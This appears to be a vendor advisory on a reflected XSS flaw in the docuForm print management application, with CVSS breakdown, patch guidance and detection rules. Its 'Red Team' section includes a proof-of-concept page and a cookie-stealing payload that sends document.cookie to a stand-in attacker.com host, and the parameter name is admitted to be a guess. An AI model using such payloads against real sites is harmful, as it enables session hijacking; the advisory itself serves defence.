CVE-2025-61313
Executive Summary
CVE-2025-61313 is a reflected Cross-Site Scripting (XSS) vulnerability in the dfm-menu_markeralerts.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c. The vulnerability allows an attacker to inject arbitrary JavaScript into a user's browser by crafting a malicious payload into an unfiltered variable value. With a CVSS score of 7.3 (High), this flaw can be exploited remotely without authentication, but requires user interaction (e.g., clicking a crafted link). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a vendor patch makes it a persistent risk for unhardened deployments.
This vulnerability is not related to any WordPress plugin or component; it is a standalone enterprise print management application.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It is a proprietary application (docuForm) from GmbH Mecury. No open-source package or dependency chain is affected.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.3 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of content
- Availability Impact: Low (A:L) – limited disruption
Threat Level: High due to the lack of a patch and the potential for phishing/social engineering attacks. The requirement for user interaction reduces the immediate risk, but the vulnerability is trivial to exploit once a victim clicks a malicious link.
Deep Dive & Mechanics
The vulnerability resides in the dfm-menu_markeralerts.php script, which is part of the docuForm application. The script accepts user-supplied input via a GET or POST parameter (likely marker_id or similar) and reflects it directly into the HTML response without proper sanitization or encoding. This allows an attacker to inject arbitrary HTML and JavaScript.
Root Cause: The application fails to validate or encode the input before embedding it in the response. For example, a parameter like ?marker_id=<script>alert('XSS')</script> would be echoed back in the page source, executing the script in the victim's browser.
Attack Flow:
- Attacker crafts a malicious URL:
https://target/docuForm/dfm-menu_markeralerts.php?marker_id=<script>/*malicious code*/</script> - Attacker sends the link via email, social media, or other channels.
- Victim clicks the link while authenticated to the docuForm application.
- The injected script executes in the victim's session, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
Impact: Session hijacking, credential theft, defacement, or redirection to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$marker_id = $_GET['marker_id'];
echo "<div>Marker ID: " . $marker_id . "</div>";
?>
Patched Code (Conceptual):
<?php
$marker_id = htmlspecialchars($_GET['marker_id'], ENT_QUOTES, 'UTF-8');
echo "<div>Marker ID: " . $marker_id . "</div>";
?>
The patched version uses htmlspecialchars() to encode special characters, preventing script injection. Since no official patch exists, administrators must implement this fix manually or apply a WAF rule.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running docuForm v11.11c
- Victim must be logged into the application
- Attacker must deliver a crafted URL to the victim
Proof-of-Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var target = "http://target/docuForm/dfm-menu_markeralerts.php?marker_id=<script>alert(document.cookie)</script>";
window.open(target);
</script>
</body>
</html>
Advanced Payload (Session Hijacking):
// Inject this into the marker_id parameter
<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
Lab Setup:
- Deploy a local instance of docuForm v11.11c (if available) or use a vulnerable Docker image.
- Use Burp Suite or OWASP ZAP to intercept and modify the
marker_idparameter. - Send the crafted request and observe the reflected XSS in the browser.
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests to
dfm-menu_markeralerts.phpcontaining<script>tags or encoded JavaScript. - Use WAF rules to block common XSS patterns (e.g.,
<script,onerror=,javascript:).
Defense:
- Implement input validation and output encoding (see patched code).
- Deploy a Content Security Policy (CSP) header to restrict script execution.
- Use HTTP-only cookies to mitigate session theft.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/docuForm/dfm-menu_markeralerts.phpwith unusual parameters (e.g.,marker_id=<script>) - Outbound connections to attacker-controlled domains from the victim's browser
- HTTP requests to
- File IOCs:
- Modified
dfm-menu_markeralerts.phpfile (if patched manually)
- Modified
- Log IOCs:
- Web server logs showing
200responses for requests with XSS payloads - Browser console errors related to CSP violations
- Web server logs showing
Detection Engineering
YARA Rule
rule Detect_Reflected_XSS_docuForm {
meta:
description = "Detects reflected XSS attempts against docuForm dfm-menu_markeralerts.php"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61313"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$url_pattern = /dfm-menu_markeralerts\.php.*marker_id=/
condition:
$url_pattern and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against docuForm
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects HTTP requests to dfm-menu_markeralerts.php with XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains: 'dfm-menu_markeralerts.php'
cs-uri-query|re: 'marker_id=.*<script'
condition: selection
falsepositives:
- Legitimate use of script tags in parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61313 Reflected XSS in docuForm dfm-menu_markeralerts.php"; flow:to_server,established; content:"dfm-menu_markeralerts.php"; http_uri; content:"marker_id="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Sanitize all user inputs in
dfm-menu_markeralerts.phpusinghtmlspecialchars()or equivalent. - Deploy WAF Rules: Block requests containing
<script>tags in themarker_idparameter. - Enable CSP: Add
Content-Security-Policy: script-src 'self'header to prevent inline script execution.
Long-Term Fix:
- Contact GmbH Mecury for an official patch or upgrade to a patched version.
- Conduct a full security audit of the application for similar vulnerabilities.
Workaround:
- If patching is not possible, restrict access to
dfm-menu_markeralerts.phpvia IP whitelisting or VPN.
Valters IT
Securing Digital Frontiers